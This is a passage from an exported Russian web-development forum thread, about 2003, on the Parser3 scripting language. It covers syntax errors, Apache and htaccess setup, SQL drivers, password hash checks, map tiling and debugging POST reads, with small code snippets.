<a href=\"/test/?nom=1\">$temper1</a>\
<a href=\"/test/?nom=2\">$temper2</a>\
<h2>Результат:</h2>\
<h1>\
^if (^form:nom.int[] eq $zxz) \
	{$temper1}\
	{$temper2}\
</h1>\
\
Выдаёт такую ошибку\
\
Unhandled Exception (Debug)\
/www/asha.pp.ru/html/test/auto.p(15:1): 'ttr' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile "
"16885","... документацию и сообщения Парсера\
\
[code]\
@ttr[]\
  $temper1[первая ссылка]\
  $temper2[вторая ссылка]\
  $zxz(1)\
\
  <form method=\"get\">\
    <a href=\"/test/?nom=1\">$temper1</a>\
    <a href=\"/test/?nom=2\">$temper2</a>\
    <h2>Результат:</h2>\
    <h1>\
    ^if(^form:nom.int(1)==$zxz){\
       $temper1\
    }{\
       $temper2\
     }\
    </h1>\
[/code]\
\
p.s. Операция \"eq\" сравнивает строки! Вы же переводите $form:nom в число, так и сравнивайте переменные как числа."
"16886","Процесс мне нравится всё больше и больше"
"16888","И я ещё засыплю форум вопросами чайника :)"
"16889","нажав на ссылку пользователь инициирует GET запрос в любом случае."
"16890","класс date\
мето calendar\
\
вторая строка после слова методы (в pdf стр 67)\
год месяц день написаны в квадратных скобках надо в круглых"
"16891","В Парсере будут работать оба варианта. Читайте в доке про разницу обработки скобок."
"16892","... Действительно вызывает ошибку. В HTML-доке таже ошибка..."
"16893","...но исправить наверно надо"
"16894","Я немного календарик в новостях ковыряю\
пишу вот это\
<a href=\"?date=${$now.year}-${$now.mounth}-${$days.$week_day}\"> ...  ...</a>\
\
а в календаре числа не преобразуются в ссылки даже в HTML нет\
<a  href=\"...\">... ...</a>\
У меня есть подозрение, что я и здесь что-то на портачил\
\
Заранее благодарю за помощь"
"16895","<a href=\"?date=${now.year}-${now.month}-$days.$week_day\"> ...  ...</a>\
Аккуратнее имена вводите!!!\
\
А во-вторых код лучше приводить полностью. Может у тебя там цикл какой-нибудь есть..."
"16896","Полный вариант\
\
[code]\
@calendar[] \
$calendar_locale[ \
   $.month_names[ \
         $.1[Январь] \
         $.2[Февраль] \
         $.3[Март] \
         $.4[Апрель] \
         $.5[Май] \
         $.6[Июнь] \
         $.7[Июль] \
         $.8[Август] \
         $.9[Сентябрь] \
         $.10[Октябрь] \
         $.11[Ноябрь] \
         $.12[Декабрь] \
   ] \
   $.day_names[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс] \
   ] \
   $.day_colors[ \
         $.0[#000000] \
         $.1[#000000] \
         $.2[#000000] \
         $.3[#000000] \
         $.4[#000000] \
         $.5[#800000] \
         $.6[#800000] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\">\
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
                  <b>\
                 <a href=\"?date=${$now.year}-${$now.mounth}-${$days.$week_day}\">\
                 $days.$week_day\
                 </a>\
                 </b> \
               </font>\
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\">\
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
              <a href=\"?date=${$now.year}-${$now.mounth}-${$days.$week_day}\">\
               $days.$week_day \
              </a>\
               </font>\
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center>\
[/code]\
"
"16897","В этом случае наверно так\
[code]\
<a href=\"?date=$now.year-$now.month-$days.$week_day\"> ... ...</a>\
[/code]\
\
т.к. now определена как переменная"
"16898","Вобще я пас - это \"примитивные\" вопросы ответы на которые содержаться в документации."
"16899","На форуме скобок нет ${days.week_day}\"> \
Автор: 'Sumo'\
Заголовок: 'Во-первых...'\
Сообщение: '<a href=\"?date=${now.year}-${now.month}-${days.week_day}\"> ...  ...</a> Аккуратнее имена вводите!!!\
"
"16900","Где мануале это описано\
\
Спасибо\
\
и всётаки Тату облажались"
"16902","Я непонимаю как это использовать.\
Вопрос не в том что в некоторых местах ссылки неверные, а в том что их вобще нет."
"16904","Вопрос в следующем: целесообразно ли отказаться от подкаталогов и осуществлять всю навигацию с помощью mod_rewrite? Т.е. реально будут существовать только корневой auto.p и index.html (или какой-другой) которые и будут осуществлять навигацию. Или лучше найти золотую середину? Просто как-то не устраивает вариант, когда существует куча подкаталогов и в каждо из них лежит по 2 файла. Но и вариант, когда всё пихается в один файл тоже не прильщает. Как всё-таки будет сделать правильнее? Хочеться, чтобы вся система была гибкой, чтобы была возможность быстро и удобно мненять, создавать, удалять большое количество подразделов."
"16905","все пихать в один файл не надо - пиши классы(для вывода новостей, статей, гостевой и прочего)\
разделы - тут только БД и админский интерфейс к этому.\
ИМХО - так."
"16907","при определённой навороченности сайта (форум, новостные ленты, ...) накапливается некоторое количество подключаемых модулей и классов (forum.p, news.p, calendar.p, ...). И тут появляется проблема - подключать ли эти классы все и сразу (ну на кой мне, скажем, класс forum на странице \"о проекте\"?) либо после разбора URI динамически подключать и процессить нужное, что тоже не есть гут.\
\
Или есть более элегантное решение?"
"16908","Стал проявляться непонятный глюк\
При перемещении по ссылке внутри сайта перестают использоваться стили которые описанны во внешнем файле и шрифты устанавливаются по умолчанию. Такой глюк проходит если нажать обновление страницы.\
\
Старнность заключатеся в том что у меня эта проблема не проявляется, а проявляется только у клиента. А системами мы пользуемся одинаковыми Windows XP, InternetExplorer 6.\
\
Клиент говорит что такая проблема только с моим сайтом написанном на Парсере."
"16909","если у вас примерно так:\
[code]<link rel=\"stylesheet\" type=\"text/css\" href=\"main.css\">[/code]\
попробуйте заменить путь к файлу на абсолютный:\
[code]<link rel=\"stylesheet\" type=\"text/css\" href=\"/main.css\"[/code]\
Если не оно, приведите больше информации, как генерируется ссылка на CSS, что получается в браузере?\
\
В любом случае, парсер скорее всего тут ни при чём."
"16911","Перед строкой\
 <link rel=\"stylesheet\" href=\"/css/main.css\" type=\"text/css\">\
Стоит строка\
 <meta http-equiv=\"Content-Type\" content=\"text/html^; charset=windows-1251\">\
\
Я ее закоментировал и вроде бы глюк прошел.\
"
"16913","Михаил, я ни в коем случае не хотел никого обидеть...\
Я сказал не Netscape based, а Нетскейпо подобный. Просто с самого начала Netscape и Opera давали примерно одинаковые результаты по отображению страниц. Да и файл Opera7\\Program\\Netscape.exe наводит на мысли... Опять же совместимость с Netscape плагинами...\
Давайте сойдемся на \"Netscape совместимых\" и будем жить дружно :)\
\
А в исходниках-то своих я покопаюсь... (потирая шаловливые ручки)"
"16916","Помогите, пожалуйста. Не могу сообразить\
\
Идея такая: есть файл с логинами и  паролями\
\
admin	$apr1$6Xvt63Qo$d1lL.O7v45UUtPV9L0f300\
user	$apr1$a9P9Mwk6$jE5BcBJltxS4e6vH8R.Bo. \
\
Требуется сделать так, чтобы при вводе в форму логина и пароля пользователь проходил авторизацию\
Я пишу так\
[code]\
#Подгружаем файл с паролями\
$users[^table::load[.users]]\
#Проверяем, есть ли логин в базе\
^if(^users.locate($users.login eq $form:login)){\
[/code]\
\
Дальше надо зашифровать введённый пароль\
$pass_crypted[^math:crypt[$form:password;^$apr1^$]]\
И сравнить полученное ззначение с тем, что лежит в базе\
\
Проблема в том, что результаты шифрования и пароля в базе не сходятся.\
Ну да, это и в доке написано: \"#обратите внимание на то, что $crypted при каждом обращении разный\"\
\
Так как же сверить результаты?\
\
Пробовал так\
$pass_crypted[^math:crypt[$form:password;$users.password]]\
Всё равно разные пароли - совпадают только до какого-то знака: \
$apr1$6Xvt63Qo$d1lL.O7v45UUtPV9L0f300 и\
$apr1$6Xvt63Qo$dKRzr0eSZvur5O8DKSDSA1\
"
"16917","Долго думал над темой ГИС...Два раза, не меньше :)\
Задача такова: есть список объектов и есть карта/план/схема не очень большого населенного пункта. Примерно 100 тысяч зданий.\
Объектов заведомо намного меньше :)\
Тыкаем в название объекта в некоем списке и получаем в ответ фрагмент карты/плана/схемы с искомым объектом примерно в центре фрагмента. \
Вроде можно вырезать парсером часть картинки (вставить ее в заготовку намного меньшего размера, к крпимеру), но как вставить именно нужный фрагмент?\
Может кто-то писал на Парсере ГИС? То есть привязывал объекты к небольшому фрагменту графического изображения в строго определенном месте?\
В сети есть аналогичные проекты, но там явно привязка к жутко серьезной векторной базе и стоит все это многие кубометры денег...\
А хочется небольшое и явно некоммерческое решенме для любимого города. А именно - привязывать значок \"фото\" к тому месту на карте, где фото сделано. Чтобы видно было, где это красота находится :)\
некое подобие я делал вот тут http://openinfo.usi.ru/sections.php?op=viewarticle&artid=1\
и вот тут http://berezniki.usi.ru/view.htm\
но это все вручную, голый хтмл и жутко неудобно в управлении. А когда фотографий сотни???\
"
"16918","... то примерно так:\
1. Бьем имеющуюся у нас карту на мелкие квадраты [как обычную карту]. Размер квадрата надо будет подобрать экспериментальным путем.\
2. В базе храним описание объекта и номер квадрата в котором он находится и, возможно, положение объекта внутри квадрата [это уже на любителя].\
3. Если нам надо найти какой-то объект на карте, то лезем в базу достаем номер квадрата, который будет центром карты. Далее элементарно можно вычислить номера \"окружающих\" квадратов. После эттого просто строим табличку в ячейках которой нужные картинки. Или можно сразу на сервере собрать картинку в одну [но это скорее всего медленнее].\
\
Обратная задача в общем тоже решается похожим образом..."
"16919","точно так же, с полгода назад в течении нескольких месяцев.\
\
при рефреше все ок.\
потом все стало на свои места.\
\
Списал я это все дело на или на связь или на хостинг..."
"16920","если вы хотите вырезать кусок из общей карты то прикиньте как вы процессор загрузите, карта пусть даже небольшого города с приближением 1:50 будет весить порядка 100Mb Естественно обработать такую карту на лету нереально.\
Нужно делать куски - это очевидно, а чтобы здание было в центре, нужно брать соседние куски объединять с совпавшим и потом снова вырезать нужны размер но уже таким образом, чтобы здание было в центре. Объединение и вырезание занимает на 800 Pentium III примерно 3 секунды сам пробовал. Это уже более реальное время для интернет.\
В качестве инструмента обработки рекомендую ImageMagick"
"16921","Нужно хранить данные в базе не криптуя, при грамотной организации туда все-равно никто не попадет, или для ввода пароля использовать .htaccess"
"16922","Я как-то наткнулся на страничку, а там ссылочка \"наверх\" в конце страницы не на \"якорях\", а на Script'е каком-то, я еще подумал: \"Вот прикольно -  Новую страницу не открывает, а просто перетаскивает...\", там что-то scroll было, а что да как НЕ ПОМНЮ... \
\
Как это сделать, ну очень хочется... \"ушел вниз, НАЖАЛ и НАВЕРХУ\"\
\
Я весь Яндекс пересмотрел... нету там. ПОМОГИТЕ!"
"16924","я бы посоветовал только шифровать пароли в базе -- чтобы их не смог уже подсмотреть ни один админ/хостер. только для этого надо использовать SQL функцию, например password() в MySQL и т.д."
"16925","нет, рассказывал я не об этой страничке. \
\
А этот параграф ру/ководства видимо давно читал, и тогда не понимал всей важности происходящего.... именно по причине прочтения этого дела и инетерсовался.... а вот зайти посмотреть, вдруг там есть - ЛЕНЬ! \
Спасибо!!! УРААА!"
"16926","The original message was received at Fri, 23 May 2003 17:06:26 +0400 (MSD)\
from localhost [127.0.0.1]\
\
   ----- The following addresses had permanent fatal errors -----\
<seiken@pisem.net>\
    (reason: 554 5.7.1 Command rejected)\
<amatveev@web.de>\
    (reason: 554 Security violation)\
\
   ----- Transcript of session follows -----\
... while talking to relay2.hotbox.ru.:\
>>> DATA\
<<< 554 5.7.1 Command rejected\
554 5.0.0 <seiken@pisem.net>... Service unavailable\
... while talking to mx-ha01.web.de.:\
>>> DATA\
<<< 554 Security violation\
554 5.0.0 <amatveev@web.de>... Service unavailable"
"16927","Интересно как же это виноват прокси, если при одинаковых настройках в опере все работает, а в IE нет? Парсер тут определенно не при чем. Вы уж, извините, но я с вами не соглашусь, потому-что подобная ситуация была в моем предыдущем вопросе про 404 ошибку, когда в IE она не перехватывалась."
"16929","Есть форма (вопрос теста). Есть счетчик на JS, который по прошествии некоторого времени должен сам передать данные из формы на какую-то страницу засчитывая вариант ответа как \"0\" (изначально неправильно). Все это можно сделать через location.replace, но в этом случае методом будет GET, а можно ли как-нибудь переадресовать страницу, чтобы методом был POST, т.е. данные из формы не отображались в адресной строке? Очень не хочется выставлять кишки наружу.\
\
Конечно, это можно сделать с помощью mod_rewrite..., маскируя данные из формы под названия папок, не спорю. А с JS?"
"16930","ООП, XML \"и всё такое\" как вариант смотреть тут (сам себя рекламирую) http://www.egoroff.spb.ru/portfolio/sources/sources.html"
"16931","вы сами не хотите экспериментировать, хотите, чтобы по кофейной гуще вам нагадали?\
я сделал робкую попытку — в тексте было слово «похоже».\
\
parser выдал ответ. его поняли все browser'ы. кроме какого-то.\
чем вам parser не угодил?\
\
про 404 вы не путайте, излагайте проблему последовательно и подробно."
"16935","это правильно:\
[code]\
$pass_crypted[^math:crypt[$form:password;$users.password]]\
[/code]\
перепроверьте, что вы кодировали именно этот пароль.\
\
не получится, пришлите чистые тесты, где вместо $form:password просто $form_password[123]: два куска 1. как кодируете первый раз, 2. как сравниваете."
"16937","и во всем он мне очень нравится.\
Попробую объяснить еще раз при чем тут 404 ошибка.\
Если мы делаем простой случай (пример про $response:download) - то все замечательно работает во всех браузерах. Далее усложняем задачу. Download навесим на 404 ошибку. Вот здесь и начинается проблема, потому что IE предлагает сохранить/показать файл - а потом выдает что узел инета не найден. А остальные браузеры работают корректно. Поэтому я и сделала предположение что это связано именно с 404 ошибкой."
"16938","Я лично ума не приложу где. Может не то читал? :)"
"16939","на предыдущей версии www.euroaddress.ru\
разбиваете на квадраты, но только их не слеиваите, а выводите <table>, которая сама вам всё склеет.\
\
остаётся выбрать как наносить значок:\
1. мне надо было очень быстро, я сделал из .gif анимированный гиф, приделав к нему второй кадр, появляющийся с нулевой задержкой, в этом кадре была нарисована стрелочка. и надо было, чтобы работало в netscape [давно делал].\
\
2. можно положить кусок карты в фон клетки, а .gif со значком в ячейку. [это если игнорировать проблему netscape]\
\
3. можно врисовать значок в картинку. [это не очень быстро].\
\
[b]важная мелочь[/b]: не забыть о том, что значок может придтись на стык двух квадратов, а то и на угол: стык четырёх квадратов."
"16940","может это поможет?\
\
пожалуйста, приведите результат журнал работы [code]wget -d[/code], посмотрим, что там недоделано в заголовках, что могло так не понравится MSIE?"
"16941","спасибо вам огромное, не дали потонуть начинающему :)\
"
"16942","[code]\
[paf@imp] ~/imprimatur-tests> uname -a ; man 2 read\
FreeBSD imp.srv.design.ru 4.7-RELEASE-p7 FreeBSD 4.7-RELEASE-p7 #0: Thu Mar  6 00:23:06 MSK 2003     alx@imp.srv.design.ru:/usr/src/obj/usr/src/sys/IMPRIMATUR  i386\
READ(2)                   FreeBSD System Calls ...\
RETURN VALUES\
     If successful, the number of bytes actually read is returned.  Upon read-\
     ing end-of-file, zero is returned.  \
[/code]\
\
вот parser'у вернули этот самый 0. то бишь EOF, и что ему думать?\
\
под unix я проблем у read не встречал, только на Win32 под msie не read хотел читать больше какого-то количества байт за один read.\
для msie написано так:\
\
[code]\
/// IIS refuses to read bigger chunks\
const size_t READ_POST_CHUNK_SIZE=0x400*0x400; // 1M \
\
size_t SAPI::read_post(SAPI_Info& , char *buf, size_t max_bytes) {\
…\
  ssize_t chunk_size=read(…, min(READ_POST_CHUNK_SIZE, max_bytes-read_size));\
[/code]\
\
так что, если есть ещё энтузиазм, предлагаю эксперименты:\
1. \
положите в cgi-bin .sh файлик, вызывающий parser через ktrace.\
пришлите кусок из журнала [kdump], соответствующий этому read(, 48). и что там было до того тоже. попробуем понять, кто и почему не даёт считать post данные.\
\
2.\
попробуйте уменьшить READ_POST_CHUNK_SIZE до 10 байт, посмотрим."
"16943","в следующий раз внимательнее смотрите на то, что вам выдаёт [code]wget -d[/code]\
там сразу заметно неладное."
"16944","Что нужно положить на сайт чтобы работал parser? Я выложил туда auto.p index.html sections.cfg что нужно еше?"
"16945","Если я правильно понял, там используется вариант с динамическим подключением нужных классов. Он, без сомнений, лучше варианта \"подключаем всё и сразу\", но, как я уже писал, имеет свои недостатки.\
\
Вобщем, попробую немного изменить вопрос: возможно ли пользуясь вариантом \"всё-в-одном\"(т.е. все запросы переадресуются на один файл) подключать нужные в данный момент классы не прерывая процессинг документа на их(классов) компиляцию?\
\
"
"16946","Хотя согласен, это в том числе баг в отображении, но не согласен с тем, что не понимается высота таблицы."
"16947","Недостатки есть у всего кроме Hello World. Чтобы их понять и найти компромисс, нужно просто делать и всё, понимание придёт. Здесь же, я не вижу [b]реальных[/b], проверенных и доказанных на практике минусов, а базарить можно сколько угодно, что лучше что хуже, так в конце концов и не начав писать код. Вообщем хватит базарить, давайте делать."
"16949","все равно не согласен, что он \"Нетскейпо подобный\"\
\
они давали разный результат, у каждого были свои глюки.\
\
однако сейчас речь шла про opera 7, а этот броузер [b]полностью переписан[/b]\
\
файл netscape.exe не говорит мне ни о чем другом, кроме того, что возможно он есть, чтобы некоторые программы, автоматически находящие установленые броузеры и которые забыли про оперу находили бы ее хоть и таким извратным способом. или о том, что некоторые плагины проверяют его наличие.\
\
netscape плагин? а что это?\
поддержка flash - это нетскейп плагин?\
поддержка java?\
\
странно это слышать. по моему хорошо, что опера понимает нормально написаные плагины, и не надо писателям плагинов делать их (плагины) еще в исполнении \"для оперы\".\
\
нет, на netscape совместимых не сойдемся. не я.\
\
html совместимых - запросто :)"
"16950","Я вообще сторонник \"всё-в-одном\"(или как это правильно называется), просто этот момент с остановкой-компиляцией не давал мне покоя, если по-другому нельзя - прекрасно, будем пользоваться ^use[], вопрос закрыт."
"16951","Просто я нахожусь на той стадии познания интернет-технологий, когда всё ново. Вот почитал у тебя перевод по mod_rewrite, заинтересовало. Сама идея того, что на самом деле сеществуют только файлы классов и файл который обрабатывает запросы, и никаких реальных каталогов и подкаталогов, мне показалась очень интересной. Буду стараться въехать во всё это. \
P.S. На сайт твой заглядываю иногда, нравиться."
"16953","Это Миша смуту наводит :) он вообще жуткий любитель всё пооптимизировать. Это здорово, но только не на начальных стадиях изучения и не для маленьких проектов, где в принципе большого вреда некоторая неоптимальность не принесёт. К его словам стоит прислушиваться, но не бездумно подражать."
"16954","И грозить будет нескоро. Что касается объёмов, ну это типа МТС или design.ru :)"
"16958","я тоже большой любитель всё пооптимизировать, даже иногда добиваюсь в этом смысле заметных успехов...  :)\
\
Миша тут ни при чём, он просто указал на возможный момент, а моё больное воображение уже само составило ужасную картину полнейшей разоптимизации кода...\
\
А насчёт начальной стадии изучения и маленьких проектов - спасибо за... эээ, комплимент. ;)"
"16960","К сожалению, ядро на сервере собрано без ktrace, а перекомпиливать и рестартовать сервер в данный момент не очень желательно, т.к. на нём \"живут\" около 2000 юзеров =(\
Может ли быть проблема связана с определёнными настройками apache?"
"16961","похоже IE 5-6 не всегда правильно обрабатывает файлы меньше какого-то определённого размера.\
\
Пример: при вёрстке страниц я по старинке использую как распорку однопиксельный гиф, задавая ему нужные атрибуты в HTML'е. Так вот, эксплорер имеет непонятное свойство показывать такую картинку через раз, т.е. жмём рефреш:\
есть-нет-нет-есть-нет-есть-есть-нет и так далее...\
\
картинки более-менее внушительного размера показывает нормально.\
Связь и прокси тут ни при чем, проверял это дело на локале, без сервера. IE 6 sp1, WinXP, вроде на IE5 тоже замечал подобное.\
Иногда замечаю подобный эффект на других страницах, при изучении выясняется что опять же используются распорки из однопиксельных гифов.\
\
Может кто-нибудь в курсе подобной проблемы, проясните пожалуйста. "
"16963","я тоже прочитал документацию, и в моем параноидально настроенном воображении сформировалось некоторое количество стереотипов, от которых хотелось бы опять же своевременно избавиться:\
[quote]...однако здесь вам следует запомнить: в то время как манипуляции с URL контексте сервера действительно быстры и эффективны, манипуляции в контексте каталога медленны и неэффективны...[/quote]\
т.е. rewrite-директивы в .htaccess это медленно и неэффективно, а в httpd.conf быстро и эффективно? Или ерунда всё это?\
\
[quote]\
'[b]-d[/b]' (является ли каталогом)\
СравниваемаяСтрока считается путем, проверяется существование этого пути и то что этот путь является каталогом. \
'[b]-f[/b]' (является ли обычным файлом)\
СравниваемаяСтрока считается путем, проверяется существование этого пути и то что этот путь является обычным файлом. \
[/quote]\
т.е. это т.н. \"дисковые операции\", и их следует по возможности избегать?"
"16964","сабж"
"16965","Тут такое дело – нужно график нарисовать, подскажите как сделать(доку читал). Желательно подробно, если не сложно. А если есть готовый пример – вообще классно. Помогите люди добрые. "
"16968","Ладно... Чувствую, что не прав я. Короче, я всегда считал как написал выше.\
Не учел, что семерку действительно переписали. \
А нетскейповые плагины (по крайней мере раньше) действительно подходили к опере, и ничего плохого в этом не вижу.\
Я предлагаю тему закрыть за подозрение на религиозные войны... %-)"
"16970","Eсть подозрение, что у меня голова не варит после вчерашнего =(\
Где READ_POST_CHUNK_SIZE менять?"
"16972","И всё это из-за возвратов:\
[quote]\
mod_rewrite проделывает URL преобразования в контексте каталога, т.е., в файлах .htaccess, хотя они и обрабатываются намного позже трансляции URL в имена файлов. Так должно быть, потому что .htaccess файлы находятся в файловой системе, и поэтому обработка уже дошла до этой стадии. Другими словами: Согласно фазам API в это время уже слишком поздно делать любые манипуляции с URL.\
[/quote]\
но никто от этого ещё не умирал.\
\
PS: У вас паранойя, вам лечиться надо :)"
"16974","Знали бы вы как работают регулярные выражения диалекта Perl (которые являются традиционным механизмом недетерминированного конечного автомата НКА), вы бы наверно совсем никогда их не использовали :)\
\
Например такой регексп:\
\
.*[0-9][0-9]\
\
Сначала по символу захватывается вся строка, а потом по символу происходит откат, на каждом шаге которого происходит проверка на совпадение цифре, и так до тех пор пока в тексте не будут стоят 2 подряд цифры."
"16975","вот интересно вы задали риторический вопрос или что?\
отвечая на ваш вопрос скажу должно!\
И что это для вас полезная информация?\
Думаю что нет...\
Так вот будьте добры поясняйте проблему.\
Если smtp сервер работает на другом порте, то нужно его указывать.\
\
в конфигурационном файле нужно прописать по примеру, где port_number\
равен порту который слушает smtp сервер\
[code]\
$MAIL[ \
   $.SMTP[smtp.domain.ru:port_number]\
] \
[/code]\
\
"
"16976","Тут возникает другая проблема: из исходников он не собирается =(\
\
[code]\
16:57:34 [root#hosting][w:1][j:0][~/www/parser/parser3]> make\
Making all in src\
Making all in include\
Making all in main\
make: don't know how to make pa_common.@OBJEXT@. Stop\
*** Error code 1\
\
Stop in /users/home/yz/www/parser/parser3/src.\
*** Error code 1\
\
Stop in /users/home/yz/www/parser/parser3.\
[/code]"
"16977","или поищите по форуму ссылку на копию HEAD."
"16978","Выдает ошибку 500. Premature end of script headers: /usr/home/site/html/cgi-bin/parser3.cgi\
Права на cgi-bin и parser3.cgi 755.\
Скрипт закачат в binary.\
\
1.В <VirtualHost>: \
User my_user\
Group my_group\
другие скрипты в cgi-bin НЕ РАБОТАЮТ.\
в parser3.log - сообщений нет\
если в броузере набираю parser3.cgi, пишет Parser/3.0.0007\
\
2.В <VirtualHost> user и group НЕ указан\
в parser3.log - сообщений нет\
другие скрипты в cgi-bin РАБОТАЮТ.\
если в броузере набираю parser3.cgi, пишет ошибку 500\
\
В чем может быть дело?\
"
"16979","CVS'апнул, собрал. Сначала с дефолтным READ_POST_CHUNK_SIZE, потом уменьшил до 10 байт - результат тот же в обоих вариантах\
[code]\
post_size(0) != content_length(83)\
[/code]\
\
Больше идей (кромe ktrace) нет? А то уж больно не хочется прерывать работу сервера..."
"16980","Посмотри [url=\"http://www.e-nizhnekamsk.ru/about/townmap.html\"]сюда[/url].\
сделано на Flash - приваязка на клик какого-либо действия - не так сложно, сделано за 1 1/2 месяца ОДНИМ челом, не специалистом(просто купили книгу Библия Флеш) и поставили цель.\
\
P.S. Спасибо Luzhnikovskiy за советы и критику."
"16981","Это опять про valuehost...\
Я перелопатил весь форум, все прочел про установку на valuehost. Как написано так и сделал (и cgi какой надо и т.д.)\
\
Мой .htaccess :\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>\
CharsetDisable On\
\
Но все равно Internal Server Error...\
В error.log:\
[Mon May 26 19:57:06 2003] [alert] /pub/home/simka77/htdocs/.htaccess: order takes one argument, 'allow,deny', 'deny,allow', or 'mutual-failure'\
---\
C supportа пишут:\
\"у вас ошибки в .htaccess : \
1. конец строки должен быть в Unix формате \
2. неверное написание allow,deny \
3. не верный путь к парсеру\
Ну, а как застаивть работать парсер, если често не знаем, мы его не использовали, читайте документацию.\"\
---\
Вот так. Время горит, подскажите чего мне надоть поменять теперь?\
"
"16983","Суппорт по ходу прав.\
Во-первых [code]\"(и cgi какой надо и т.д.)\"[/code] - это и есть Парсер. И копировать его надо в [code]Action parser3-handler /cgi-bin/parser3[/code], a Action parser3-handler /cgi-bin/parser3.cgi\
\
Во-вторых проверить концы строк - они должны быть юниховыми.\
\
\
"
"16984","И копировать его надо в /cgi-bin/\
\
Вместо\
Action parser3-handler /cgi-bin/parser3\
\
Надо\
Action parser3-handler /cgi-bin/parser3.cgi\
"
"16985","У моего линукса при установке ImageMagik возникли какие-то странные возраения. Разобратья пока не удалось, но библиотека gd1 уже стоит. Она может применяться для резки/склейки?\
"
"16986","Всё нормально - в таблицу с паролями пробел затесался"
"16987","Все равно 500-ая и в логе:\
\
[Tue May 27 00:01:46 2003] [alert] /pub/home/simka77/htdocs/.htaccess: order takes one argument, 'allow,deny', 'deny,allow', or 'mutual-failure'\
\
Перепробовал все, никак не пойму.\
-- пояните пожалста пеньку supportовскую отписку:\
\
1. конец строки должен быть в Unix формате -(как это?)\
2. неверное написание allow,deny -(???)\
3. не верный путь к парсеру -(путь та вроде правильный лежит cgi какой надо с групанлимом в /cgi-bin/)\
\
"
"16988","Пишет теперь:\
Unhandled Exception\
\
в логе:\
[Tue May 27 00:22:06 2003] /: config(0): './lib/libparser3mysql.so' driver implements API version 0x0005 not equal to 0x0003 [<no type>]"
"16989","копируй в строку поиска например строчку 'version 0x0005 not equal to 0x0003' и нажимай кнопку 'Найти'\
\
разве это сложно?"
"16990","Скачал sql драйвера заново, но тем не менее:\
\
driver implements API version 0x0005 not equal to 0x0003\
./lib/libparser3mysql.so\
\
config(1)\
"
"16991","Что-то этот глючит.\
\
Алексей Матвеев"
"16992","<VirtualHost ip:*>                                       \
 DocumentRoot /var/www/gallery/html                                \
  ServerName allery                                                \
 ServerAlias www.gallery                                           \
 ScriptAlias \"/cgi-bin/\" \"/var/www/cgi-bin/gallery/\"               \
 <Directory \"var/www/cgi-bin/gallery\">                             \
 AllowOverride ALL                                                 \
  Options ExecCGI                                                   \
 </Directory>                                                      \
 AddHandler parser3-handler html                                   \
 Action  parser3-handler /cgi-bin/parser3/parser3                  \
 ErrorLog /var/log/apache/gallery-error.log                        \
 CustomLog /var/log/apache/gallery-access.log common               \
 directoryIndex index.html                                         \
 ErrorDocument 404 /404.html                                       \
 ErrorDocument 403 /404.html                                       \
 ErrorDocument 401 /404.html                                       \
</VirtualHost>                                                      \
                                                                    "
"16993","В этой конструкции попробуй указать конкретный путь к файликам\
$SQL[ \
mysql \
pgsql лала/libparser3pgsql.so лалала/libpq.so\
oracle\
}]    \
]     "
"16994","По всей видимости не могу в select правельно указать where"
"16995","    $graf[^image::create(760;80;0xff0000)]  \
    ^graf.line[0;0;100;100;0x00FF00]   - вот тут ломается     \
    $response:body[^graf.gif[]]             "
"16997","http://www.parser.ru/docs/lang/imageline.htm"
"17001","или скачай старый драйвер (0003) или скачай новый парсер (0007)"
"17002","давайте попробуем локализовать так:\
\
напишем четырёхстрочный перловый скрипт, принимающий и печатающий content-length байт.\
работает?\
\
потом перепишем его на C.\
\
потом попробуем найти три отличия."
"17003","дата в базе:\
год.месяц.день типа 03.05.27\
т.е. делать что то вроде\
\
^string:sql{SELECT count(nmbr)   \
                         FROM stat\
\
"
"17005","Понял. Предпологаю, что новый парсер скачать неоткуда, поскольку в моем случае мне нужна лишь версия с groupunlim. А она только старая. Тогда откуда взять старые МуSQL драйвера?"
"17006","имя можно или сообразить самому или поискать по форуму."
"17007","Есть форум. все данные в базе. Как посчитать 10 лучших участников форума? Все это хочется сделать не используя парсер. т.е. получить готовую таблицу в первом столбце имя во втором сколько раз написал."
"17009","Давайте. Такой пример подойдёт?\
http://yz.kiev.ua/content-length.cgi\
[code]\
#!/usr/local/bin/perl\
use CGI;\
local $query=new CGI;\
\
print $query->header('text/html; charset=koi8-r');\
print $query->start_html();\
\
$myself=$query->url;\
print $query->startform('POST',$myself,'KOI8-R');\
print $query->textfield(-name=>'test',\
                        -size=>40,\
                        -maxlength=>40,\
                        -override=>0,\
                        -value=>\"\"\
                        );\
print $query->submit(-value=>\"Ok\");\
print $query->endform;\
\
local $string = $query->param('test');\
print \"$string\\n\";\
\
print $query->end_html;\
[/code]\
\
К сожалению, с С я не сильно дружу, поэтому буду благодарен, если Вы дадите пример С'шного кода."
"17010","который примет post и выведет его. выводит?\
потом на C."
"17011","Хм-м, что-то я потерялся.\
Можете пример привести? Приведённый мной тоже вроде как post'ит данные, принятые у себя же.\
Или я неправильно понял идею?"
"17012","значит принимает успешно. OK.\
давайте теперь попробуем на C:\
\
вот что-то на коленке написал…\
[code]\
#include <stdio.h>\
#include <stdlib.h>\
#include <unistd.h>\
#include <string.h>\
\
int main(){\
        char *content_length_cstr=getenv(\"CONTENT_LENGTH\");\
